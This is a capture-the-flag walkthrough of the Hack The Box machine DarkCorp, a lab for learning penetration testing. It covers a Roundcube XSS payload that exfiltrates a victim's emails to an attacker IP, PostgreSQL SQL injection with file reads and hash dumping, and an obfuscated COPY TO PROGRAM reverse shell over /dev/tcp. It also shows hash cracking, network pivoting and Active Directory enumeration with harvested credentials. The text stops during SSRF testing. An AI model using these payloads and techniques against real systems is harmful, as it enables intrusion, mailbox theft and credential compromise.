> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# DarkCorp (Insane) - HTB

> Windows | Released on 8th February, 2025 | Created by 0xEr3bus & ctrlzero

## Starting the box

***

<img src="https://mintcdn.com/hackwithmike/HwLoNUqSsJ2EJ36L/assets/images/htb/darkcorp/pwned.png?fit=max&auto=format&n=HwLoNUqSsJ2EJ36L&q=85&s=393a5c5b1d4921066c2c9edac60e4d63" noZoom width="1004" height="963" data-path="assets/images/htb/darkcorp/pwned.png" />

Link to the box: [https://app.hackthebox.com/machines/DarkCorp](https://app.hackthebox.com/machines/DarkCorp).

### Port Scan

We start off the box by running a port scan on the provided IP.

```text title="Attacker Linux" icon="linux" wrap theme={null}
rustscan -a 10.10.11.54 -r 1-65535 -- -A -sC -sV -vvv -o darkcorp
```

Output of Nmap:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
|   256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM

80/tcp open  http    syn-ack nginx 1.22.1
|_http-favicon: Unknown favicon MD5: B0F964065616CFF6D415A5EDCFA30B97
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
| http-title: DripMail
|_Requested resource was index
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

A few key notes:

* Port 22 (SSH) is open running OpenSSH 9.2p1 on Debian
* Port 80 (Web Server) is open running nginx 1.22.1
* The HTTP title indicates "DripMail" - likely an email service
* The underlying OS is Linux (Debian)

### Edit the Hosts file

As always, we edit the `/etc/hosts` file to add the hostname:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/hosts
```

```text title="/etc/hosts" icon="file-lines" wrap theme={null}
10.10.11.54 drip.htb
```

## Initial Foothold

### Enumerating Port 80: Web Server (drip.htb)

Let's check out the web server at `http://drip.htb`:

#### Subdomain Enumeration

We'll enumerate subdomains to find additional targets:

```text title="Attacker Linux" icon="linux" wrap theme={null}
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain drip.htb | grep "Status: 200"
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
mail.drip.htb Status: 200 [Size: 5323]
```

* Nice. We found a new target: `mail.drip.htb`
* Remember to add this into our hosts file

Let's add it to our hosts file:

```text title="/etc/hosts" icon="file-lines" wrap theme={null}
10.10.11.54 drip.htb mail.drip.htb
```

#### Manual Enumeration

We can sign up for an account at `http://drip.htb/register`:

```text title="Credentials" icon="file-lines" wrap theme={null}
admin:admin
```

After registering, we are redirected to `http://mail.drip.htb`, and there is a welcome email:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Hi admin,

Welcome to DripMail! We're excited to provide you convenient email solutions!. If you need help, please reach out to us at support@drip.htb.
```

Checking the mail service information:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Roundcube Webmail 1.6.7
Copyright © 2005-2022, The Roundcube Dev Team

### Installed plugins
|Plugin|Version|License|Source|
|---|---|---|---|
|filesystem_attachments|1.0|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)||
|jqueryui|1.13.2|[GPL-3.0+](http://www.gnu.org/licenses/gpl.html)|
```

* The service is running Roundcube Webmail 1.6.7
* This version is potentially vulnerable to CVE-2024-42009

Upon checking our mailbox, we saw this interesting message:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited. If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
```

* Security engineer: `bcase@drip.htb` - This is likely our target

#### RoundCube XSS (CVE-2024-42009)

Researching the vulnerability:

* [Government Emails at Risk: Critical Cross-Site Scripting Vulnerability in Roundcube Webmail | Sonar](https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/)
* CVE-2024-42009: A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in `message_body()` in `program/actions/mail/show.php`

The vulnerability exploits a regex pattern used to remove `bgcolor` from the body tag:

```text title="Vulnerable Regex" icon="file-lines" wrap theme={null}
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i
```

* This regex removes any `bgcolor` alongside some optional quotation marks anywhere within the body tag
* We can trick the regex into breaking other attributes

We can use this payload to trigger XSS:

```html wrap theme={null}
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>
```

* The regex removes `bgcolor=foo"`, causing the syntax to break and allowing our `onanimationstart` handler to execute

The payload should be sent via the contact section at `http://drip.htb/index#contact`:

```text title="HTTP Request" icon="file-lines" wrap theme={null}
POST /contact HTTP/1.1
Host: drip.htb

name=123&email=12321@ea.com&message=<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>&content=html&recipient=admin@drip.htb
```

* The `content=html` parameter is crucial for the payload to work
* Success! The XSS triggers when the recipient opens the email

#### Stealing bcase's Email

Let's craft a payload to steal emails from `bcase@drip.htb`. First, we'll test with a simple fetch:

```html wrap theme={null}
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('http://10.10.14.22/')>Foo</body>
```

* Note: We need to use single quotes inside the `onanimationstart` handler to avoid breaking the syntax

After testing various payloads, we found this working payload that exfiltrates email content:

```html wrap theme={null}
<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch(&apos;http://mail.drip.htb/?_task=mail&amp;_action=show&amp;_uid=1&amp;_mbox=INBOX&amp;_extwin=1&apos;).then(r=&gt;r.text()).then(d=&gt;fetch(&apos;http://10.10.14.22/steal&apos;,{method:&apos;POST&apos;,body:d,headers:{&apos;Content-Type&apos;:&apos;application/x-www-form-urlencoded&apos;}})) foo=bar'>test</body>
```

Setting up our listener:

```python wrap theme={null}
from http.server import BaseHTTPRequestHandler, HTTPServer

class FileSavingHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')

        print("\nReceived POST data:", post_data)

        # Save data to a file
        with open("received_data.txt", "a") as f:
            f.write(post_data + "\n")

        # Send response
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"Data saved successfully!")

# Start server
server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, FileSavingHTTPRequestHandler)

print("Listening for POST requests on port 80...")
httpd.serve_forever()
```

Sending the payload to `bcase@drip.htb`:

```text title="HTTP Request" icon="file-lines" wrap theme={null}
name=test&email=test@test.com&message=<body title='bgcolor=foo' name='bar style=animation-name:progress-bar-stripes; onanimationstart=fetch(&apos;http://mail.drip.htb/?_task=mail&amp;_action=show&amp;_uid=1&amp;_mbox=INBOX&amp;_extwin=1&apos;).then(r=&gt;r.text()).then(d=&gt;fetch(&apos;http://10.10.14.22/steal&apos;,{method:&apos;POST&apos;,body:d,headers:{&apos;Content-Type&apos;:&apos;application/x-www-form-urlencoded&apos;}})) foo=bar'>test</body>&content=html&recipient=bcase@drip.htb
```

Successfully received bcase's email:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Hey Bryce,

The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.

You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.

If you encounter any issues or have feedback, let me know so I can address them promptly.

Thanks
```

* New domain discovered: `dev-a3f1-01.drip.htb`
* We need to reset bcase's password to access the dashboard

We can also steal the password reset token from bcase's mailbox by targeting a different email UID. The reset token email contains:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Your reset token has generated.  Please reset your password within the next 5 minutes.

You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z61dqA.osMiUvlWRfGM3Xea1n-1BNODuaM
```

* We can now reset bcase's password and access the dashboard

### Discovering the Development Dashboard

#### Additional Hostname Enumeration

Let's take a step back. We noticed that we haven't added `darkcorp` as a domain to our hosts file yet. This is important for CTF boxes:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/hosts
```

```text title="/etc/hosts" icon="file-lines" wrap theme={null}
10.10.11.54 drip.htb mail.drip.htb dev-a3f1-01.drip.htb darkcorp.htb
```

Now let's enumerate subdomains for `darkcorp.htb`:

```text title="Attacker Linux" icon="linux" wrap theme={null}
gobuster vhost -u http://10.10.11.54 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain darkcorp.htb | grep "Status: 200"
```

* No additional subdomains found

#### Directory Enumeration on darkcorp.htb

Let's run directory enumeration on `darkcorp.htb`:

```text title="Attacker Linux" icon="linux" wrap theme={null}
feroxbuster -u http://darkcorp.htb -C 404
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
200      GET        1l        5w       64c http://darkcorp.htb/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard => http://darkcorp.htb/dashboard/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/media => http://darkcorp.htb/dashboard/media/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps => http://darkcorp.htb/dashboard/apps/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates => http://darkcorp.htb/dashboard/apps/templates/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/home => http://darkcorp.htb/dashboard/apps/home/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/static => http://darkcorp.htb/dashboard/apps/static/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/includes => http://darkcorp.htb/dashboard/apps/templates/includes/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/home => http://darkcorp.htb/dashboard/apps/templates/home/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/static/assets => http://darkcorp.htb/dashboard/apps/static/assets/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/accounts => http://darkcorp.htb/dashboard/apps/templates/accounts/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/templates/layouts => http://darkcorp.htb/dashboard/apps/templates/layouts/
301      GET        7l       11w      169c http://darkcorp.htb/dashboard/apps/authentication => http://darkcorp.htb/dashboard/apps/authentication/
```

* We found a `/dashboard` directory with multiple subdirectories
* The structure suggests this is a Flask application
* `/authentication` looks particularly interesting

Let's enumerate with `dirsearch` to find configuration files:

```text title="Attacker Linux" icon="linux" wrap theme={null}
dirsearch /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 404 -u http://darkcorp.htb
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
[22:40:27] 200 -  796B  - /dashboard/.env
[22:40:39] 301 -  169B  - /dashboard/__pycache__  ->  http://darkcorp.htb/dashboard/__pycache__/
[22:41:00] 301 -  169B  - /dashboard/apps  ->  http://darkcorp.htb/dashboard/apps/
[22:41:49] 200 -  330B  - /dashboard/requirements.txt
```

* We found a `.env` file! This typically stores environmental variables and credentials

Downloading the `.env` file:

```text title="/dashboard/.env" icon="file-lines" wrap theme={null}
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
```

* PostgreSQL database credentials: `dripmail_dba:2Qa2SsBkQvsc`
* Flask secret key: `GCqtvsJtexx5B7xHNVxVj0y2X0m10jq`
* This is valuable information for later exploitation

Since we know this is a Flask application, let's enumerate the authentication directory for Python files:

```text title="Attacker Linux" icon="linux" wrap theme={null}
feroxbuster -u http://darkcorp.htb/dashboard/apps/authentication -x py
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
200      GET       39l       69w     1436c http://darkcorp.htb/dashboard/apps/authentication/forms.py
200      GET       30l       89w     1066c http://darkcorp.htb/dashboard/apps/authentication/util.py
200      GET       84l      287w     2955c http://darkcorp.htb/dashboard/apps/authentication/models.py
200      GET      142l      338w     5011c http://darkcorp.htb/dashboard/apps/authentication/routes.py
```

* We can read the Flask application source code!

In `routes.py`, we found the password reset functionality:

```python wrap theme={null}
try:
    reset_token = ts_secret_key.dumps(email)
    print(reset_token)
    msg = Message(
        recipients=[email],
        sender = 'no-reply@drip.htb',
        reply_to = 'support@drip.htb',
        subject = "Reset token",
        body = f"Your reset token has generated.  Please reset your password within the next 5 minutes.\n\nYou may reset your password here: http://dev-a3f1-01.drip.htb/reset/{reset_token}"
        )
    mail.send(msg)
    flash("Reset token sent successfully.", "success")
    return redirect(url_for('authentication_blueprint.forgot'))
except:
    flash("Failed to send reset token.", "error")
    return redirect(url_for('authentication_blueprint.forgot'))
```

* This confirms the `dev-a3f1-01.drip.htb` domain we found earlier

#### Accessing the Dashboard

After resetting bcase's password using the stolen reset token, we can log into the dashboard at `http://dev-a3f1-01.drip.htb`:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
ID      Username    E-Mail              Host Header    IP Address
5001    support     support@drip.htb                   10.0.50.10
5002    bcase       bcase@drip.htb                     10.0.50.10
5003    ebelford    ebelford@drip.htb                  10.0.50.10
5004    test        test@drip.htb                      172.16.20.1
```

* We can see user information including IP addresses
* The `test` user has a different IP: `172.16.20.1` - suggesting an internal network

#### Exploiting SQLi in dev-a3f1-01.drip.htb

The dashboard has a search function that returns interesting error messages:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
(psycopg2.errors.UndefinedFunction) operator does not exist: character varying = integer LINE 1: SELECT * FROM "Users" WHERE "Users".username = 123 ^ HINT: No operator matches the given name and argument types. You might need to add explicit type casts. [SQL: SELECT * FROM "Users" WHERE "Users".username = 123] (Background on this error at: https://sqlalche.me/e/20/f405)
```

* The error reveals we're dealing with PostgreSQL via SQLAlchemy
* The application uses `psycopg2` for database connections

Testing the search function, we find that searching for `'bcase'` (with quotes) returns results. This suggests SQL injection:

```text title="Attacker Linux" icon="linux" wrap theme={null}
'bcase' OR true
```

* This returns all users, confirming SQL injection

Some keywords like `UNION` appear to be filtered. Let's enumerate the database manually using Stacked Queries:

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
'bcase'; SELECT table_name FROM information_schema.tables WHERE table_schema='public';
```

* Tables found: `Users`, `Admins`

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
'bcase'; SELECT column_name, data_type FROM information_schema.columns WHERE table_name='Admins';
```

* Columns: `id`, `username`, `password`, `email`

Dumping user credentials:

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
'bcase'; SELECT username, password from "Users";
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
test:098f6bcd4621d373cade4e832627b4f6
```

* We found password hashes for multiple users
* `ebelford` is particularly interesting as it appeared in the user list

#### PostgreSQL File Read and RCE

Since we have SQL injection in PostgreSQL, we can leverage powerful built-in functions. Let's test file reading:

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
'bcase'; SELECT pg_read_file('/etc/passwd', 0, 99999);
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
vmail:x:5000:5000::/home/vmail:/usr/bin/nologin
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash
```

* File read works! We can see `bcase` and `ebelford` are system users

We can also list directories:

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
'bcase'; SELECT * FROM pg_ls_dir('/var/www/html');
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
index.html
dashboard
dripmail
```

Now let's escalate to RCE. The `COPY` command can execute system commands, but it appears to be filtered by WAF. We can bypass this using obfuscation:

```text title="SQL Injection Payload" icon="file-lines" wrap theme={null}
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;
```

* This stores `C O P Y` and the command into variable `c`, then executes it
* The WAF cannot detect the keyword because it's obfuscated using `CHR()` functions

Setting up our listener:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nc -lvnp 443
```

Executing the payload:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
postgres@drip:/var/lib/postgresql/15/main$ whoami
postgres
```

* Success! We have a shell as the `postgres` user

### Pivoting to ebelford

#### Enumerating the System

Let's check the hosts file for network information:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
127.0.0.1       localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb
nameserver 172.16.20.1
search darkcorp.htb
darkcorp.htb
```

* We're on `172.16.20.3` (drip.darkcorp.htb)
* There's a domain controller at `172.16.20.1` (DC-01.darkcorp.htb)
* This indicates an Active Directory environment

Checking our network interfaces:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 172.16.20.3  netmask 255.255.255.0  broadcast 172.16.20.255
```

* Confirmed: we're on the `172.16.20.0/24` network

#### Finding Credentials in Database Logs

Since we're running as the `postgres` user, we should check PostgreSQL logs for sensitive information. LinPEAS might not catch these:

```text title="Victim Linux" icon="linux" wrap theme={null}
cat /var/log/postgresql/postgresql-15-main.log.1 | grep ebelford
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT:  UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
```

* We found ebelford's password hash being updated in the logs!
* Hash: `8bbd7f88841b4223ae63c8848969be86`

Cracking the hash:

```text title="Attacker Linux" icon="linux" wrap theme={null}
hashcat -m 0 8bbd7f88841b4223ae63c8848969be86 /usr/share/wordlists/rockyou.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
8bbd7f88841b4223ae63c8848969be86:ThePlague61780
```

* Successfully cracked: `ThePlague61780`

#### Alternative Path - PostgreSQL Backups

There's also an alternative way to find credentials. Someone hinted that credentials exist in `/var/backups/postgres`:

```text title="Victim Linux" icon="linux" wrap theme={null}
ls -la /var/backups/postgres
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
-rw-r--r-- 1 postgres postgres 1784 Feb  5 12:52 dev-dripmail.old.sql.gpg
```

* We found an encrypted GPG file

Attempting to decrypt:

```text title="Victim Linux" icon="linux" wrap theme={null}
gpg -d dev-dripmail.old.sql.gpg
```

* It requires a passphrase

Trying the database password:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
passphrase: 2Qa2SsBkQvsc
```

* Success! The backup decrypts

Contents of the backup:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb
\.
```

* We found another user: `victor.r` with hash `cac1c7b0e7008d67b6db40c03e76b9c0`
* This is likely a Windows domain user

Cracking victor.r's hash:

```text title="Attacker Linux" icon="linux" wrap theme={null}
hashcat -m 0 cac1c7b0e7008d67b6db40c03e76b9c0 /usr/share/wordlists/rockyou.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
```

* Successfully cracked: `victor1gustavo@#`

#### SSH Access as ebelford

Let's SSH as ebelford:

```text title="Attacker Linux" icon="linux" wrap theme={null}
ssh ebelford@10.10.11.54
```

```text title="Credentials" icon="file-lines" wrap theme={null}
ebelford:ThePlague61780
```

* Successfully authenticated!

### Enumerating the Internal Network

#### Setting up for Lateral Movement

Since we need to access the internal `172.16.20.0/24` network, we'll set up Ligolo for pivoting.

First, download the Ligolo agent to the compromised host:

```text title="Victim Linux (ebelford)" icon="linux" wrap theme={null}
wget 10.10.14.22/linux/ligolo/agent
chmod +x agent
```

Start the Ligolo agent:

```text title="Victim Linux (ebelford)" icon="linux" wrap theme={null}
./agent -connect 10.10.14.22:8000 -ignore-cert&
```

On our attacker machine, start the Ligolo proxy and add a route to the internal network:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sudo ip route add 172.16.20.0/24 dev ligolo
```

* Ligolo creates a tunnel allowing us to access the internal network directly

Alternatively, we can use SSHuttle for easier network access:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sshuttle -r ebelford@10.10.11.54 172.16.20.0/24
```

```text title="Credentials" icon="file-lines" wrap theme={null}
ThePlague61780
```

* This creates a VPN-like tunnel to the internal network without needing to upload additional binaries

#### Network Discovery

Let's scan the internal network for SMB hosts:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc smb 172.16.20.0/24
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
```

* DC-01: Domain Controller at `172.16.20.1` (SMB signing enabled)
* WEB-01: Web server at `172.16.20.2` (SMB signing disabled - potential relay target!)

Testing our credentials against the domain:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc smb 172.16.20.2 -u "victor.r" -p "victor1gustavo@#"
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
SMB         172.16.20.2     445    WEB-01           [+] darkcorp.htb\victor.r:victor1gustavo@#
```

* Success! `victor.r` is a valid domain account

Enumerating domain users:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc smb 172.16.20.1 -u "victor.r" -p "victor1gustavo@#" --users
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c
```

* Multiple administrative accounts with `.adm` suffix
* `svc_acc` - likely a service account

Checking for AS-REP roastable accounts:

```text title="Attacker Linux" icon="linux" wrap theme={null}
impacket-GetNPUsers -dc-ip 172.16.20.1 'darkcorp.htb/victor.r':'victor1gustavo@#' -request -format hashcat -outputfile asrep-hashes.txt
```

* No AS-REP roastable accounts found

#### Bloodhound Enumeration

Let's run Bloodhound to map the Active Directory environment. Unfortunately, Ligolo has DNS resolution issues with Bloodhound, so we'll use SSH dynamic port forwarding with proxychains instead.

Setting up SSH dynamic port forwarding:

```text title="Attacker Linux" icon="linux" wrap theme={null}
ssh ebelford@drip.htb -D 1080
```

```text title="Credentials" icon="file-lines" wrap theme={null}
ThePlague61780
```

Edit the proxychains configuration:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/proxychains4.conf
```

```text title="/etc/proxychains4.conf" icon="file-lines" wrap theme={null}
dnat 10.10.11.54 172.16.20.1

socks5 127.0.0.1 1080
```

* The `dnat` line ensures traffic to `10.10.11.54` is routed to the actual DC at `172.16.20.1`

Now run Bloodhound through proxychains with the `--dns-tcp` flag:

```text title="Attacker Linux" icon="linux" wrap theme={null}
proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb
```

Key findings from Bloodhound:

* `taylor.b.adm` is a GPO manager and can PSRemote
* `svc_acc` has DNSAdmin privileges

#### Enumerating SMB Shares

```text title="Attacker Linux" icon="linux" wrap theme={null}
enum4linux-ng -u "victor.r" -p "victor1gustavo@#" 172.16.20.1 -A
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share CertEnroll
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
```

* We have access to `CertEnroll` - this suggests ADCS (Active Directory Certificate Services) is in use

Checking for ADCS:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc ldap 172.16.20.1 -u victor.r -p 'victor1gustavo@#' -M adcs
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Found PKI Enrollment Server: DC-01.darkcorp.htb
Found CN: DARKCORP-DC-01-CA
Found PKI Enrollment WebService: https://dc-01.darkcorp.htb/DARKCORP-DC-01-CA_CES_Kerberos/service.svc/CES
```

* ADCS is present but looks complex to exploit

#### Enumerating WEB-01

Let's scan WEB-01 for additional services:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nmap -sC -sV -p- 172.16.20.2
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
5000/tcp  open  http          syn-ack Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
| http-ntlm-info:
|   Target_Name: darkcorp
|   NetBIOS_Domain_Name: darkcorp
|   NetBIOS_Computer_Name: WEB-01
|   DNS_Domain_Name: darkcorp.htb
|   DNS_Computer_Name: WEB-01.darkcorp.htb
|   DNS_Tree_Name: darkcorp.htb
|_  Product_Version: 10.0.20348
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
```

* Port 5000 is running IIS with NTLM authentication
* Port 5985 (WinRM) is open for PSRemoting

### NTLM Relay Attack

#### Web Dashboard SSRF

Let's try accessing port 5000 with NTLM authentication:

```text title="Attacker Linux" icon="linux" wrap theme={null}
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/
```

* This works! The browser login wasn't working due to Burp Proxy intercepting the NTLM authentication

Examining the HTML source:

```html wrap theme={null}
<a class="nav-link" href="/">Dashboard</a>
<a class="nav-link" href="/graphs">Graphs</a>
<a class="nav-link" href="/check">Check Status</a>
<a class="nav-link" href="/export-logs">Export Logs</a>
fetch('/service-status')
```

* There's a "Check Status" functionality that looks interesting

Testing the status check endpoint:

```text title="HTTP Request" icon="file-lines" wrap theme={null}
POST /status HTTP/1.1
Host: 172.16.20.2:5000
Content-Type: application/json

{"protocol":"http","host":"web-01.darkcorp.htb","port":"80"}
```

```text title="HTTP Response" icon="file-lines" wrap theme={null}
{"message":"http://web-01.darkcorp.htb:80 is up!","status":"Success!"}
```

* The application performs health checks on arbitrary hosts!
* This is an SSRF vulnerability

Testing other ports:

```text title="Attacker Linux" icon="linux" wrap theme={null}
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"web-01.darkcorp.htb","port":"81"}'
```

